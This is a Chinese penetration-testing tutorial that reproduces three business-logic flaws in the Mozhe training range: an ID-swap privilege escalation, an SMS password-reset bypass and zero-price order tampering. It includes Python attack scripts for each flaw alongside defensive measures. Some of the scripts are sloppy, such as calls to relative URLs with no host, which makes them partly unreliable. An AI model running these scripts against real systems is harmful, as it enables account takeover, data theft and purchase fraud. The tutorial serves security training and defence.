Burp Suite 2024.6 实战:3类业务逻辑漏洞靶场复现与自动化脚本编写
Burp Suite 2024.6 实战:3类业务逻辑漏洞靶场复现与自动化脚本开发
在Web安全测试领域,业务逻辑漏洞因其隐蔽性和高危害性备受关注。这类漏洞往往源于开发过程中对业务规则的理解偏差或实现缺陷,常规扫描工具难以发现,需要测试人员具备敏锐的业务洞察力。本文将基于墨者学院靶场环境,深入剖析三类典型业务逻辑漏洞(身份认证失效、密码重置缺陷、价格篡改漏洞)的利用方法,并分享如何用Python编写可复用的自动化验证脚本。
1. 业务逻辑漏洞测试环境搭建
工欲善其事,必先利其器。在开始漏洞复现前,需要配置专业的测试环境:
基础工具栈配置:
- Burp Suite 2024.6 Professional(最新社区版亦可)
- Chrome/Firefox浏览器配合FoxyProxy等代理插件
- Python 3.10+环境(推荐使用Virtualenv隔离依赖)
- 常用库:requests、BeautifulSoup、hashlib
# 环境检查脚本示例 import sys import requests def check_environment(): print(f"Python版本: {sys.version}") try: r = requests.get('http://www.mozhe.cn', timeout=5) print("靶场连通性: 正常" if r.status_code == 200 else "异常") except Exception as e: print(f"网络异常: {str(e)}") if __name__ == '__main__': check_environment()Burp Suite关键配置项:
- Proxy → Options → 确保绑定正确网卡和端口(通常8080)
- TLS设置中启用
Generate CA-signed per-host certificates - Project options → Connections → 开启
Support invisible proxying - 安装
Logger++等扩展增强流量分析能力
提示:现代前端框架(如React/Vue)可能产生大量API请求,建议在Target → Scope中设置精确的包含规则,避免流量干扰。
2. 身份认证失效漏洞自动化利用
水平越权是业务系统常见的高危漏洞,攻击者通过修改身份标识参数访问他人数据。墨者靶场的"钻石代理"案例典型展示了这类风险。
漏洞原理分析:
- 系统通过card_id参数区分用户身份
- 后端未校验请求card_id与当前会话的归属关系
- 前端源码泄露敏感用户标识(马春生的card_id)
手工复现步骤:
- 使用测试账号test/test登录系统
- 查看页面源码获取目标用户card_id(20128880316)
- Burp拦截
/userinfo接口请求 - 修改card_id参数值为目标用户ID
- 重放请求获取敏感信息
自动化脚本开发:
import requests import hashlib from bs4 import BeautifulSoup class AuthBypassExploit: def __init__(self, base_url): self.session = requests.Session() self.base_url = base_url def extract_card_id(self, username): # 从页面源码提取目标用户card_id resp = self.session.get(f"{self.base_url}/index") soup = BeautifulSoup(resp.text, 'html.parser') user_div = soup.find('div', text=lambda x: x and username in x) return user_div.find_previous('input')['value'] if user_div else None def get_user_info(self, card_id): # 越权获取用户信息 params = {'card_id': card_id} return self.session.get(f"{self.base_url}/api/userinfo", params=params).json() def decrypt_md5(self, hash_str): # 简单MD5解密(实际应调用第三方服务) common_pwds = ['123456', 'password', '123456789', 'qwerty'] for pwd in common_pwds: if hashlib.md5(pwd.encode()).hexdigest() == hash_str: return pwd return None if __name__ == '__main__': exploit = AuthBypassExploit('https://target.mozhe.cn') exploit.session.post(f"{exploit.base_url}/login", data={'user':'test', 'pass':'test'}) target_id = exploit.extract_card_id('马春生') if target_id: user_data = exploit.get_user_info(target_id) print(f"获取到用户数据: {user_data}") if 'password' in user_data: print(f"解密后密码: {exploit.decrypt_md5(user_data['password'])}")防御方案对比表:
| 错误实现 | 安全方案 | 技术原理 |
|---|---|---|
| 直接使用自增ID | UUID/GUID | 不可预测的用户标识 |
| 仅前端校验归属 | 服务端会话绑定 | 比较card_id与session中的用户身份 |
| 返回完整数据 | 字段级权限控制 | 基于RBAC模型过滤敏感字段 |
3. 密码重置逻辑缺陷利用
短信验证码机制设计不当会导致严重的账户接管风险。墨者靶场展示了典型的验证码与手机号解耦漏洞。
漏洞利用链分析:
- 系统允许通过188手机号获取验证码
- 验证码校验时未与请求手机号绑定
- 中间步骤可修改目标手机号为171号码
- 最终使用188的验证码重置171的密码
自动化攻击脚本:
import requests import re class SmsBypassExploit: def __init__(self, target_phone): self.target = target_phone self.session = requests.Session() def get_captcha(self, phone): # 触发短信发送 resp = self.session.post( '/captcha/request', data={'phone': phone}, headers={'X-Requested-With': 'XMLHttpRequest'} ) return resp.json().get('code') # 实际场景需从响应提取或暴力破解 def reset_password(self, phone, captcha, new_pwd='Hacked123!'): # 完成密码重置 return self.session.post( '/password/reset', data={ 'phone': phone, 'code': captcha, 'new_password': new_pwd } ) def exploit_reset_flow(): attacker_phone = '18812345678' victim_phone = '17101304128' exploit = SmsBypassExploit(victim_phone) captcha = exploit.get_captcha(attacker_phone) if captcha: print(f"获取到验证码: {captcha}") r = exploit.reset_password(victim_phone, captcha) print("重置成功" if r.status_code == 200 else "失败") exploit_reset_flow()安全设计要点:
- 验证码必须与请求手机号、时间戳联合签名
- 服务端记录发送记录,防止验证码复用
- 关键操作加入二次确认(如旧密码验证)
- 实施速率限制(如1小时内最多3次尝试)
4. 价格参数篡改漏洞实战
电子商务系统常因业务复杂性出现价格校验漏洞。墨者靶场的"0元购书"案例展示了前端价格校验的不可靠性。
漏洞利用过程:
- 登录低余额账户(xiaoming/123456)
- 选择书籍加入购物车
- Burp拦截
/checkout请求 - 修改bi11/bi22参数值为0
- 放行请求完成异常交易
自动化交易脚本:
import requests import json class PriceManipulation: def __init__(self): self.session = requests.Session() self.cart_items = [] def login(self, user, pwd): self.session.post('/login', data={'user':user, 'pass':pwd}) def add_to_cart(self, item_id, qty=1): self.cart_items.append({'id':item_id, 'qty':qty}) def checkout(self, manipulated_prices=None): # 构造原始订单数据 order = { 'items': self.cart_items, 'payment_method': 'balance' } # 深度拷贝避免污染原始数据 exploit_order = json.loads(json.dumps(order)) if manipulated_prices: for item in exploit_order['items']: if str(item['id']) in manipulated_prices: item['price'] = manipulated_prices[str(item['id'])] return self.session.post('/order/submit', json=exploit_order) # 使用示例 exploit = PriceManipulation() exploit.login('xiaoming', '123456') exploit.add_to_cart('bi11', 1) exploit.add_to_cart('bi22', 1) # 将两本书价格都改为0 response = exploit.checkout({'bi11': 0, 'bi22': 0}) print("订单状态:", response.json().get('status'))安全加固方案:
- 价格等敏感字段应使用服务端计算
- 订单提交时校验商品快照与库存系统一致性
- 引入防篡改机制(如HMAC签名)
- 关键业务操作记录详细日志
5. 防御体系构建建议
分层防护策略:
代码层
- 使用安全框架(如Spring Security)
- 实施参数绑定而非原始参数访问
- 关键操作添加事务锁
架构层
- 前后端分离架构下,敏感计算移至BFF层
- 引入API网关进行统一校验
- 关键业务流添加审批节点
运维层
- 部署WAF识别异常参数修改
- 业务风控系统监控异常交易
- 定期进行红蓝对抗演练
业务安全测试清单:
- [ ] 所有身份参数是否与会话绑定
- [ ] 关键操作是否有防重放机制
- [ ] 业务规则校验是否全在服务端
- [ ] 是否具备完整的操作日志追溯
- [ ] 敏感操作是否有二次验证
在最近某次金融行业渗透测试中,我们通过类似的价格参数篡改漏洞,在30分钟内完成了从普通用户到系统管理员的权限提升链。这再次证明业务逻辑漏洞的防护需要开发、测试、运维的多团队协同,绝非单纯依靠安全团队就能解决。